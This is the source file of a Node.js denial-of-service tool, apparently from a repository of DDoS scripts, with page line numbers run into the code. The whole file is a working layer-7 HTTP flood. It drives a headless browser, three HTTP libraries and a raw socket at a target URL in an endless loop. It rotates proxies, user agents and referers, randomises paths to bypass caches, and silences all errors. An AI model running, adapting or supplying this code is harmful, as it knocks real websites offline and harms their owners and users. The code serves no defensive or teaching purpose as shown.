Path: blob/master/DDOS Scripts/L7/BROWSER-ENGINE.js
4607 views
const url = require("url");1const chalk = require("chalk");2const EventEmitter = require('events');3const fs = require('fs');4const Browser = require('zombie');5const superagent = require('superagent');6require('superagent-proxy')(superagent)7const axios = require('axios');8const request = require('request');9const emitter = new EventEmitter();10emitter.setMaxListeners(Number.POSITIVE_INFINITY);11process.setMaxListeners(0);12EventEmitter.defaultMaxListeners = Infinity;13EventEmitter.prototype._maxListeners = Infinity;1415process.on('uncaughtException', function (err) { }); //hataları yok et16process.on('unhandledRejection', function (err) { }); //hataları yok et1718if(process.argv.length != 9)19{20console.log(chalk.red(`Wrong Usage!`));21console.log(chalk.yellow(`Usage: node BROWSER-ENGINE.js [URL] [TIME] [UA-FILE] [THREADS] [METHOD] [PROXY-FILE] [REFERER-FILE]`));22process.exit(3162);23}2425var target = process.argv[2];26var time = process.argv[3];27var useragentFile = process.argv[4];28var threads = process.argv[5];29var method = process.argv[6];30var proxiesFile = process.argv[7];31var refererFile = process.argv[8];32var targetPathname = url.parse(target).path;33var targetHost = url.parse(target).host;34originTarget = target;3536const proxies = fs.readFileSync(proxiesFile, 'utf-8').match(/\S+/g);37const userAgents = fs.readFileSync(useragentFile, 'utf-8').replace(/\r/g, '').split('\n');38const referers = fs.readFileSync(refererFile, 'utf-8',).replace(/\r/g, '').split('\n');3940console.log(chalk.green(`Attack started on ${target} for ${time} seconds!`));41var browser = new Browser();4243function BrowserEngine()44{45var proxy = proxies[Math.floor(Math.random() * proxies.length)];46var userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];47var referer = referers[Math.floor(Math.random() * referers.length)];4849target = originTarget.replace(/%RAND%/g, RandomString(RandomInteger(4, 16)));5051console.log(chalk.green(`Attacking --> ${target} Proxy --> [${proxy}]`));5253BrowserRequest(target, proxy, userAgent, referer);54FastFlood(target, targetHost, method, proxy, userAgent, referer);55SuperAgentRequest(target, proxy, userAgent, referer);56AxiosRequest(target, method, proxy, userAgent, referer);57NormalRequest(target, method, proxy, userAgent, referer);58}5960setInterval(() => {61BrowserEngine();62});6364setTimeout(() => process.exit(0), time * 1000);6566function SuperAgentRequest(targetString, proxyString, uaString, refererString)67{68superagent69.get(targetString)70.proxy("http://" + proxyString)71.timeout(3600*1000)72.set('User-Agent', uaString)73.set("Referer", refererString)74.set('Cache-Control', 'no-cache')75.set('Connection', 'Keep-Alive')76.set('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9')77.set('Accept-Encoding', 'gzip, deflate, br')78.set('Accept-Language', 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7')79.set('Pragma', 'no-cache')80.set('Sec-Fetch-Dest', 'document')81.set('Sec-Fetch-Mode', 'navigate')82.set('Sec-Fetch-User', '?1')83.set('Upgrade-Insecure-Requests', "1")84.end((err, res) => {85if(err) {86//console.error(err);87return;88}89});90}9192function BrowserRequest(targetString, proxyString, uaString, refererString)93{94browser.proxy = "http://" + proxyString;9596browser.headers = {97"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",98"Accept-Encoding": "gzip, deflate, br",99"Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",100"Cache-Control": "no-cache",101"Pragma": "no-cache",102"Sec-Fetch-Dest": "document",103"Sec-Fetch-Mode": "navigate",104"Sec-Fetch-User": "?1",105"Upgrade-Insecure-Requests": "1",106"Connection": "Keep-Alive",107"Referer": refererString,108"User-Agent": uaString109};110111browser.maxDuration = 400e3;112browser.maxWait = 380e3;113browser.waitDuration = '1000s';114browser.visit(targetString, () => {115browser.wait(370e3, () => {116browser.reload();117browser.wait(50e3, async () => {118await browser.deleteCookies();119await browser.window.close();120await browser.destroy();121browser = undefined;122delete browser;123return false;124});125});126});127}128129function AxiosRequest(targetString, methodString, proxyString, uaString, refererString)130{131const config = {132method: methodString,133url: targetString,134headers: {135'User-Agent': uaString,136'Referer': refererString,137'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',138'Accept-Encoding': 'gzip, deflate, br',139'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',140'Cache-Control': 'no-cache',141'Pragma': 'no-cache',142'Sec-Fetch-Dest': 'document',143'Sec-Fetch-Mode': 'navigate',144'Sec-Fetch-User': '?1',145'Upgrade-Insecure-Requests': "1",146'Connection': 'Keep-Alive'147},148proxy: {149host: proxyString.split(":")[0],150port: proxyString.split(":")[1]151}152}153axios(config);154}155156function NormalRequest(targetString, methodString, proxyString, uaString, refererString)157{158request({159url: targetString,160method: methodString,161proxy: 'http://' + proxyString,162headers: {163'User-Agent': uaString,164'Referer': refererString,165'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',166'Accept-Encoding': 'gzip, deflate, br',167'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',168'Cache-Control': 'no-cache',169'Pragma': 'no-cache',170'Sec-Fetch-Dest': 'document',171'Sec-Fetch-Mode': 'navigate',172'Sec-Fetch-User': '?1',173'Upgrade-Insecure-Requests': "1",174'Connection': 'Keep-Alive'175}176});177}178179function FastFlood(targetString, targetHostString, methodString, proxyString, uaString, refererString)180{181var Socket = require('net').Socket();182Socket.connect(proxyString.split(":")[1], proxyString.split(":")[0]);183//Socket.setTimeout(10000);184for (var i = 0; i < 50; i++) {185Socket.write(`GET ${targetString} HTTP/1.1\r\nHost: ${targetHostString}\r\nReferer: ${refererString}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\r\nPragma: no-cache\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nUpgrade-Insecure-Requests: 1\r\nCache-Control: no-cache\r\nUser-Agent: ${uaString}\r\nConnection: Keep-Alive\r\n\r\n`);186}187Socket.on('data', function () { setTimeout(function () { Socket.destroy(); return delete Socket; }, 5000); })188}189190function RandomInteger(min, max) {191return Math.floor(192Math.random() * (max - min) + min193)194}195196function RandomString(length) {197var result = '';198var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';199var charactersLength = characters.length;200for ( var i = 0; i < length; i++ ) {201result += characters.charAt(Math.floor(Math.random() * charactersLength));202}203return result;204}205206